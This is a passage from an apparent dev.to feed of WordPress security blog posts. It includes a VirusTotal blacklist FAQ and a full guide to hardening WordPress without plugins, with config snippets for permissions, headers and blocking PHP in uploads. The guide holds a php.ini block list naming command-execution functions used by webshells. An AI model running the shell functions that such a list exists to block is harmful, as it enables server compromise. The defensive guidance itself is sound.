&lt;p&gt;→ &lt;a href="https://www.mdpabel.com/wordpress-malware-removal/" rel="noopener noreferrer"&gt;WordPress malware removal&lt;/a&gt; — full cleanup, root cause fixed → &lt;a href="https://www.mdpabel.com/blacklist-removal/" rel="noopener noreferrer"&gt;Blacklist removal&lt;/a&gt; — I file and follow up with every vendor → &lt;a href="https://www.mdpabel.com/hire-me/" rel="noopener noreferrer"&gt;Hire me&lt;/a&gt; — done-for-you, with results reviewed before you pay&lt;/p&gt;

&lt;h2&gt;
  
  
  What clients say
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;“My website was suffering from some redirect malware. MD was able to take care of the problem for a reasonable fee. For me, he was a lifesaver. I will certainly go to him first should something like that happen again.”&lt;/p&gt;

&lt;p&gt;&lt;cite&gt;— Kendall Miller, Founder&lt;/cite&gt;&lt;/p&gt;

&lt;p&gt;“I’m very satisfied with MD Pabel’s service. He saved my site from hackers and removed all malware attacks. Highly recommended.”&lt;/p&gt;

&lt;p&gt;&lt;cite&gt;— Hassan Infinkey, eCommerce Owner&lt;/cite&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Frequently asked questions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Can VirusTotal blacklist my website?
&lt;/h3&gt;

&lt;p&gt;No. VirusTotal maintains no blacklist and issues no verdicts of its own. It aggregates results from 70+ independent antivirus and URL-blocklisting engines. If you appear flagged on VirusTotal, it’s because one or more of those engines flagged you — and only that engine’s owner can remove the flag.&lt;/p&gt;

&lt;h3&gt;
  
  
  How do I remove my website from VirusTotal?
&lt;/h3&gt;

&lt;p&gt;You can’t remove it from VirusTotal directly, because the flag lives with the vendor, not VirusTotal. Fix the underlying issue on your site, re-scan the URL to clear VirusTotal’s cache, then contact each flagging vendor from your domain email with proof of a clean scan and ask them to re-review.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why is my site still flagged on VirusTotal after I cleaned it?
&lt;/h3&gt;

&lt;p&gt;Three usual reasons: VirusTotal is showing a cached result (re-scan the URL), the flagging vendor hasn’t re-reviewed you yet, or — most often for WordPress — the site isn’t actually clean. A leftover backdoor reinfects within hours and gets you re-flagged. Verify the site is fully clean before assuming it’s a caching delay.&lt;/p&gt;

&lt;h3&gt;
  
  
  Does 1 of 94 detections on VirusTotal mean my site is infected?
&lt;/h3&gt;

&lt;p&gt;Not on its own. A single obscure engine can be a false positive. But if that one detection comes from a reputable vendor and labels you “malware” or “phishing,” take it seriously and investigate. The detection count is a starting point, not a severity score — the engine and the label matter more than the number.&lt;/p&gt;

&lt;h3&gt;
  
  
  How long does it take to clear a VirusTotal flag?
&lt;/h3&gt;

&lt;p&gt;It depends on the vendor. Some clear you within a few hours of a confirmed clean review; others take several days. Full propagation across every cache and product can take up to roughly 30 days. Submitting from your domain email with clean-scan evidence is the fastest path.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Last updated: June 6, 2026 by &lt;a href="https://www.mdpabel.com/about/" rel="noopener noreferrer"&gt;MD Pabel&lt;/a&gt;, WordPress Security Specialist — 4,500+ sites cleaned.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>security</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>How to Secure WordPress Without Security Plugins</title>
      <dc:creator>MD Pabel</dc:creator>
      <pubDate>Wed, 03 Jun 2026 03:04:23 +0000</pubDate>
      <link>https://dev.to/md_pabel_fe07e07449db7326/how-to-secure-wordpress-without-security-plugins-1j2g</link>
      <guid>https://dev.to/md_pabel_fe07e07449db7326/how-to-secure-wordpress-without-security-plugins-1j2g</guid>
      <description>&lt;p&gt;&lt;strong&gt;Quick answer:&lt;/strong&gt; Yes, you can secure WordPress without any security plugins. Most real protection comes from two layers you control directly: &lt;strong&gt;application hardening&lt;/strong&gt; (wp-config.php rules, correct file permissions, disabled file editing) and &lt;strong&gt;server-level controls&lt;/strong&gt; (a web-server firewall, blocked PHP execution, least-privilege database access). Plugins add convenience and monitoring, not the foundation.&lt;/p&gt;

&lt;p&gt;After manually cleaning more than 4,500 hacked WordPress sites, one pattern repeats: the site that gets reinfected almost always &lt;em&gt;had&lt;/em&gt; a security plugin installed, and was breached anyway. The plugin was never the problem. It just was not the foundation.&lt;/p&gt;

&lt;p&gt;The numbers explain why. Patchstack’s 2026 report counted 11,334 new WordPress vulnerabilities in 2025, a 42% jump year over year. Plugins accounted for 91% of them; WordPress core had just two. The weighted median time from public disclosure to first exploitation was five hours. You cannot patch fast enough to win that race. The most reliable thing you can do is shrink what an attacker can reach in the first place, and almost all of that work needs zero plugins.&lt;/p&gt;

&lt;p&gt;This guide is the no-plugin path: the server-level and application-level hardening I apply after every cleanup. If you would rather compare dedicated tools, see my breakdown of the &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/best-wordpress-security-plugins-which-one-should-you-use-in-2026-4j9f-temp-slug-6305155"&gt;best WordPress security plugins&lt;/a&gt;, but read this first, because no plugin replaces the basics below.&lt;/p&gt;

&lt;h2&gt;
  
  
  Server-level vs. application-level security: the model that matters
&lt;/h2&gt;

&lt;p&gt;Every control on a WordPress site lives at one of two layers, and knowing which is which tells you what you can do without a plugin.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Application-level security&lt;/strong&gt; runs inside WordPress: PHP, wp-config.php, the database WordPress reads, and the admin dashboard. Every security plugin lives here. So do wp-config rules and file-editing controls.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Server-level security&lt;/strong&gt; runs below WordPress: the web server (Apache, Nginx, or LiteSpeed), the PHP runtime, the file system, the MySQL or MariaDB server, and the operating system. A request reaches this layer before WordPress ever loads.&lt;/p&gt;

&lt;p&gt;The difference is &lt;em&gt;when&lt;/em&gt; each layer acts. A server-level firewall can drop a malicious request before a single line of PHP runs, which is cheap and resilient. An application-level plugin only sees a request after WordPress has loaded, which is exactly why malware that gains file access can often switch the plugin off and hide its tracks.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Where it runs&lt;/th&gt;
&lt;th&gt;Good at&lt;/th&gt;
&lt;th&gt;Blind to&lt;/th&gt;
&lt;th&gt;No-plugin tools&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Application&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Inside WordPress (PHP)&lt;/td&gt;
&lt;td&gt;Login rules, 2FA, WordPress-specific hardening, change logging&lt;/td&gt;
&lt;td&gt;Anything outside WordPress; can be disabled once files are compromised&lt;/td&gt;
&lt;td&gt;wp-config.php constants, functions.php filters, WP-CLI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Server&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Below WordPress (OS, web server, DB)&lt;/td&gt;
&lt;td&gt;Dropping bad requests early, blocking PHP execution, file integrity, brute-force throttling&lt;/td&gt;
&lt;td&gt;WordPress user authentication; intent of a “valid” request abusing a plugin&lt;/td&gt;
&lt;td&gt;.htaccess / Nginx rules, php.ini, ModSecurity, fail2ban, file permissions&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;But neither layer wins alone. Patchstack tested standard hosting defenses in 2025 and found that 87.8% of real-world WordPress attacks bypassed them, because those attacks abuse WordPress against itself: a vulnerable plugin doing exactly what its own code permits. So the goal is not “server good, plugin bad.” It is: reduce the attack surface first, then harden both layers.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why fewer plugins is itself a security control
&lt;/h2&gt;

&lt;p&gt;Every plugin is third-party code running on your server with broad access to your files and database. With 91% of WordPress vulnerabilities living in plugins, and many of them in abandoned plugins that will never be patched, the math is simple: the less third-party code you run, the less an attacker can target and the less you have to patch inside that five-hour window.&lt;/p&gt;

&lt;p&gt;In nearly every cleanup I do, the entry point is a vulnerable or &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/nulled-wordpress-plugins-amp-themes-the-security-risks-behind-free-premium-tools-a9b-temp-slug-6859103"&gt;nulled plugin or theme&lt;/a&gt;, not WordPress core. So treat plugin reduction as a control in its own right. If a feature can be achieved with a few lines in &lt;code&gt;functions.php&lt;/code&gt; or a single server rule, prefer that over installing a plugin. Audit quarterly, and &lt;em&gt;delete&lt;/em&gt; rather than just deactivate anything unused, because a deactivated plugin still sits on disk and remains reachable. For the broader maintenance routine, see my full guide on &lt;a href="https://www.mdpabel.com/blog/how-to-secure-a-wordpress-site/" rel="noopener noreferrer"&gt;how to secure a WordPress site&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Application-level hardening (no plugins required)
&lt;/h2&gt;

&lt;p&gt;These controls live in &lt;code&gt;wp-config.php&lt;/code&gt;, your server config, and core WordPress settings. None of them need a plugin.&lt;/p&gt;

&lt;h3&gt;
  
  
  Lock down wp-config.php
&lt;/h3&gt;

&lt;p&gt;This file holds your database credentials and secret keys, so it deserves the tightest permission on the site. Set it to &lt;code&gt;600&lt;/code&gt; (or &lt;code&gt;640&lt;/code&gt; if your host requires group read), and if your host allows it, move it one level above the web root.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Restrict wp-config.php to the owner only&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;600 wp-config.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Disable the built-in file editor
&lt;/h3&gt;

&lt;p&gt;This is the single most useful one-line change I recommend after a cleanup. When an attacker gets one admin session, the first thing they often do is open &lt;strong&gt;Appearance › Theme File Editor&lt;/strong&gt; and paste a backdoor straight into the theme, no FTP needed. I have traced more than one reinfection back to exactly this path, including &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/i-found-a-hidden-8220backdoor8221-in-a-clients-wordpress-site-5g0m"&gt;a hidden backdoor in a client’s site&lt;/a&gt;. Turning the editor off removes that one-click route.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// In wp-config.php, above the "stop editing" line&lt;/span&gt;
&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'DISALLOW_FILE_EDIT'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Disable file modifications (advanced)
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;DISALLOW_FILE_MODS&lt;/code&gt; goes further: it blocks plugin and theme installs, deletions, &lt;em&gt;and&lt;/em&gt; updates from the dashboard. That is powerful, but it has a real trade-off, you also lose automatic updates. Only use it if you patch another way, such as WP-CLI or a deployment pipeline. On a site that is managed by hand and rarely changes, it is one of the strongest anti-tamper controls available.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Blocks ALL file changes from the dashboard, including updates&lt;/span&gt;
&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'DISALLOW_FILE_MODS'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Refresh secret keys and force HTTPS in the admin
&lt;/h3&gt;

&lt;p&gt;Your authentication salts sign the cookies that keep you logged in. Regenerating them invalidates every existing session, which is exactly what you want after any suspected breach, it logs out an attacker who may be riding a stolen cookie. Grab a fresh set from the official generator and replace the matching block in &lt;code&gt;wp-config.php&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Generate a fresh set of keys and salts&lt;/span&gt;
&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="o"&gt;://&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wordpress&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;

&lt;span class="c1"&gt;// Then force the admin and login over HTTPS&lt;/span&gt;
&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'FORCE_SSL_ADMIN'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Block PHP execution where it does not belong
&lt;/h3&gt;

&lt;p&gt;Most webshells get dropped into &lt;code&gt;wp-content/uploads&lt;/code&gt;, because that folder is writable. Blocking PHP from running there neutralizes the payload even if the file lands on disk, which is one of the highest-value server rules you can add. It is the same principle behind a lot of the &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/wordpress-htaccess-malware-the-complete-guide-to-every-type-with-real-code-samples-4132-temp-slug-5596164"&gt;.htaccess malware&lt;/a&gt; cleanups I handle.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="c"&gt;# Apache: place in wp-content/uploads/.htaccess&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nl"&gt;Files&lt;/span&gt;&lt;span class="sr"&gt; *.php&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="nc"&gt;Require&lt;/span&gt; &lt;span class="ss"&gt;all&lt;/span&gt; denied
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nl"&gt;Files&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;
&lt;span class="c"&gt;# Nginx: add to your server block&lt;/span&gt;
&lt;span class="nc"&gt;location&lt;/span&gt; ~* /wp-content/uploads/.*\.php$ {
  &lt;span class="nc"&gt;deny&lt;/span&gt; all;
&lt;span class="err"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Shut down XML-RPC if you do not use it
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;xmlrpc.php&lt;/code&gt; is a common target for brute-force amplification and pingback abuse. If you do not use the WordPress mobile app, Jetpack, or an external publishing tool, block the endpoint at the server. Confirm those integrations are not in use first, since this will break them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="c"&gt;# Apache: in the root .htaccess&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nl"&gt;Files&lt;/span&gt;&lt;span class="sr"&gt; xmlrpc.php&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="nc"&gt;Require&lt;/span&gt; &lt;span class="ss"&gt;all&lt;/span&gt; denied
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nl"&gt;Files&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Strip version giveaways and manage application passwords
&lt;/h3&gt;

&lt;p&gt;Remove the WordPress generator tag, delete the default &lt;code&gt;readme.html&lt;/code&gt;, and uninstall unused themes so attackers cannot fingerprint exact versions. Application passwords are another quiet risk: they grant API access and, if leaked, behave like a backdoor. If you do not connect external apps over the REST API, disable them with a one-line filter, no plugin and no Wordfence required.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// In functions.php or a small must-use plugin&lt;/span&gt;
&lt;span class="nf"&gt;add_filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'wp_is_application_passwords_available'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'__return_false'&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For login-specific measures beyond this, such as 2FA and protecting the login URL, see my dedicated guide on &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/how-to-secure-wordpress-login-15-practical-ways-to-protect-wp-admin-4m00-temp-slug-7658948"&gt;how to secure WordPress login&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Server-level hardening (no plugins required)
&lt;/h2&gt;

&lt;p&gt;What you can do here depends on your hosting. On &lt;strong&gt;shared hosting&lt;/strong&gt; you usually have file and .htaccess access but no SSH or php.ini control, so ask your host what is already enabled. On &lt;strong&gt;managed WordPress hosting&lt;/strong&gt; , much of this is configured for you. On a &lt;strong&gt;VPS&lt;/strong&gt; , you control all of it. Apply what your environment allows.&lt;/p&gt;

&lt;h3&gt;
  
  
  Set correct file and folder permissions
&lt;/h3&gt;

&lt;p&gt;The standard is &lt;code&gt;755&lt;/code&gt; for directories, &lt;code&gt;644&lt;/code&gt; for files, and &lt;code&gt;600&lt;/code&gt; for &lt;code&gt;wp-config.php&lt;/code&gt;. Never use &lt;code&gt;777&lt;/code&gt; on anything; it lets any process write to that file, which is how a lot of cross-account infections spread on shared servers. If you do not have SSH, you can correct permissions with my &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/how-to-fix-wordpress-file-and-folder-permissions-using-a-simple-php-script-no-ssh-required-2l28"&gt;no-SSH PHP permissions script&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Run from your WordPress root over SSH&lt;/span&gt;
find &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; d &lt;span class="nt"&gt;-exec&lt;/span&gt; &lt;span class="nb"&gt;chmod &lt;/span&gt;755 &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt;
find &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-exec&lt;/span&gt; &lt;span class="nb"&gt;chmod &lt;/span&gt;644 &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;600 wp-config.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Disable directory browsing
&lt;/h3&gt;

&lt;p&gt;If directory listing is on, anyone can browse your folder structure and read what plugins and backups you have. Turn it off at the server.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="c"&gt;# Apache: in the root .htaccess&lt;/span&gt;
&lt;span class="nc"&gt;Options&lt;/span&gt; -Indexes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Restrict dangerous PHP functions
&lt;/h3&gt;

&lt;p&gt;Most webshells rely on PHP’s command-execution functions. Disabling the ones a normal WordPress site never needs removes a huge amount of a shell’s capability even if one is uploaded. Test after applying, since a few hosts or plugins may need one of these.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="c"&gt;# In php.ini (VPS / managed with access)
&lt;/span&gt;&lt;span class="py"&gt;disable_functions&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;exec,shell_exec,system,passthru,popen,proc_open&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Add a server firewall and brute-force blocking
&lt;/h3&gt;

&lt;p&gt;This is the server-level equivalent of what a plugin firewall does, except it acts before PHP loads. On a VPS or capable managed host, run &lt;strong&gt;ModSecurity&lt;/strong&gt; with the OWASP Core Rule Set to filter malicious requests, and &lt;strong&gt;fail2ban&lt;/strong&gt; to ban IPs that hammer &lt;code&gt;wp-login.php&lt;/code&gt;. On shared hosting, ask whether ModSecurity is already active; it often is.&lt;/p&gt;

&lt;h3&gt;
  
  
  Lock down the database
&lt;/h3&gt;

&lt;p&gt;Give WordPress a dedicated MySQL user scoped to a single database, with a long random password. Do not use the &lt;code&gt;root&lt;/code&gt; account, and never reuse the same database user across multiple sites, that is how one compromised site becomes several. Changing the &lt;code&gt;wp_&lt;/code&gt; table prefix is sometimes suggested too, but it is a low-impact, defense-in-depth measure that can break a site if done carelessly, so I treat it as optional rather than essential.&lt;/p&gt;

&lt;h3&gt;
  
  
  Enforce HTTPS and security headers at the server
&lt;/h3&gt;

&lt;p&gt;Security headers are pure server config, no plugin needed. They harden the browser side against clickjacking, MIME sniffing, and protocol downgrade.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="c"&gt;# Apache: in the root .htaccess&lt;/span&gt;
&lt;span class="nc"&gt;Header&lt;/span&gt; &lt;span class="ss"&gt;always&lt;/span&gt; &lt;span class="ss"&gt;set&lt;/span&gt; X-Content-Type-Options "nosniff"
&lt;span class="nc"&gt;Header&lt;/span&gt; &lt;span class="ss"&gt;always&lt;/span&gt; &lt;span class="ss"&gt;set&lt;/span&gt; X-Frame-Options "SAMEORIGIN"
&lt;span class="nc"&gt;Header&lt;/span&gt; &lt;span class="ss"&gt;always&lt;/span&gt; &lt;span class="ss"&gt;set&lt;/span&gt; Referrer-Policy "strict-origin-when-cross-origin"
&lt;span class="nc"&gt;Header&lt;/span&gt; &lt;span class="ss"&gt;always&lt;/span&gt; &lt;span class="ss"&gt;set&lt;/span&gt; Strict-Transport-Security "max-age=31536000; includeSubDomains"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The one thing hardening cannot replace: knowing when something changed
&lt;/h2&gt;

&lt;p&gt;Hardening shrinks the attack surface. What it does not do is tell you the day a brand-new vulnerability in a plugin you actually use gets weaponized within five hours. That detection-and-virtual-patching gap is the honest, legitimate argument for security plugins. Pretending hardening is invincible is how sites get &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/why-wordpress-malware-keeps-coming-back-and-how-to-stop-it-forever-4953"&gt;reinfected after a cleanup&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;You can cover the monitoring half without a plugin. WP-CLI verifies your core and plugin files against the official checksums, so any modified or injected file shows up immediately.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Verify core and all plugin files against wordpress.org checksums
&lt;span class="go"&gt;wp core verify-checksums
wp plugin verify-checksums --all
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Schedule those commands with a cron job and you have genuine file-integrity monitoring with zero plugins. The one piece that hardening and checksums still cannot cover is &lt;em&gt;virtual patching&lt;/em&gt; of an unpatched vulnerability inside that five-hour window. For that you genuinely need either a server WAF rule, a managed host that does it for you, or a focused security plugin. Be honest about that single trade-off instead of treating “no plugins” as a complete defense.&lt;/p&gt;

&lt;h2&gt;
  
  
  No-plugin WordPress hardening checklist
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;Delete unused plugins and themes; keep everything else updated.&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;Set permissions: 755 directories, 644 files, 600 for wp-config.php.&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;In wp-config: add &lt;code&gt;DISALLOW_FILE_EDIT&lt;/code&gt;, refresh salts, force SSL in admin.&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;Block PHP execution inside wp-content/uploads.&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;Disable directory browsing.&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;Restrict dangerous PHP functions in php.ini.&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;Scope the database user to one database with a strong password.&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;Block xmlrpc.php if you do not use it.&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;Add HTTPS and security headers at the server.&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;Schedule WP-CLI checksum verification as integrity monitoring.&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  When to bring in a specialist
&lt;/h2&gt;

&lt;p&gt;One critical caveat: if your site is already infected, do not harden on top of the infection. Locking down a compromised site just locks the attacker’s backdoor in with it. Clean first, then harden. In 4,500-plus cleanups I have seen well-meaning owners apply every step above while a webshell sat untouched in an uploads folder, which is how, for example, this &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/bluehost-wordpress-site-hacked-how-i-recovered-an-account-with-1162-infected-files-and-a-403-2fh8-temp-slug-227222"&gt;Bluehost site recovery&lt;/a&gt; started.&lt;/p&gt;

&lt;p&gt;If your site is currently hacked, redirecting to spam, or blacklisted, my &lt;a href="https://www.mdpabel.com/wordpress-malware-removal/" rel="noopener noreferrer"&gt;WordPress malware removal service&lt;/a&gt; handles the cleanup manually, with no data loss, and applies the hardening in this guide afterward. Prefer to hand the whole thing off? You can &lt;a href="https://www.mdpabel.com/hire-me/" rel="noopener noreferrer"&gt;hire me directly&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Frequently asked questions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Can you really secure WordPress without any plugins?
&lt;/h3&gt;

&lt;p&gt;Yes. The core of WordPress security is reducing your attack surface and hardening configuration, and almost all of that happens in wp-config.php, your server settings, and file permissions, none of which need a plugin. The only gap is real-time virtual patching, where a server WAF or focused plugin still helps.&lt;/p&gt;

&lt;h3&gt;
  
  
  Should I remove my security plugin if my host already has server-level security?
&lt;/h3&gt;

&lt;p&gt;Often yes, if your managed host runs a server WAF, malware scanning, and brute-force protection, a heavy all-in-one plugin is largely redundant and only adds load. But server-level tools cannot show WordPress login activity or enforce 2FA, so keep an application-level option for those specific needs.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the difference between server-level and application-level security?
&lt;/h3&gt;

&lt;p&gt;Server-level security runs below WordPress (web server, PHP, database, OS) and acts on a request before WordPress loads. Application-level security runs inside WordPress as PHP and only sees a request after it loads. Server-level is harder to disable; application-level is better at WordPress-specific rules. Strong sites use both.&lt;/p&gt;

&lt;h3&gt;
  
  
  Does disabling file editing in wp-config actually stop hackers?
&lt;/h3&gt;

&lt;p&gt;It closes one specific, very common path. Attackers who steal an admin session frequently use the built-in theme and plugin editor to paste a backdoor instantly. Setting &lt;code&gt;DISALLOW_FILE_EDIT&lt;/code&gt; removes that one-click option, so they must find another route. It is not a complete defense, but it is a high-value one-line change.&lt;/p&gt;

&lt;h3&gt;
  
  
  Is changing the WordPress database prefix worth it for security?
&lt;/h3&gt;

&lt;p&gt;Only marginally. Renaming the &lt;code&gt;wp_&lt;/code&gt; prefix can frustrate some automated attacks that assume default table names, but it does not stop a determined attacker and can break your site if done incorrectly. Treat it as optional defense-in-depth, well after permissions, file-edit lockdown, and PHP-execution blocking.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Last updated: June 3, 2026 by &lt;a href="https://www.mdpabel.com/about/" rel="noopener noreferrer"&gt;MD Pabel&lt;/a&gt;, WordPress Security Specialist, 4,500+ sites cleaned.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>php</category>
      <category>security</category>
      <category>tutorial</category>
      <category>wordpress</category>
    </item>
    <item>
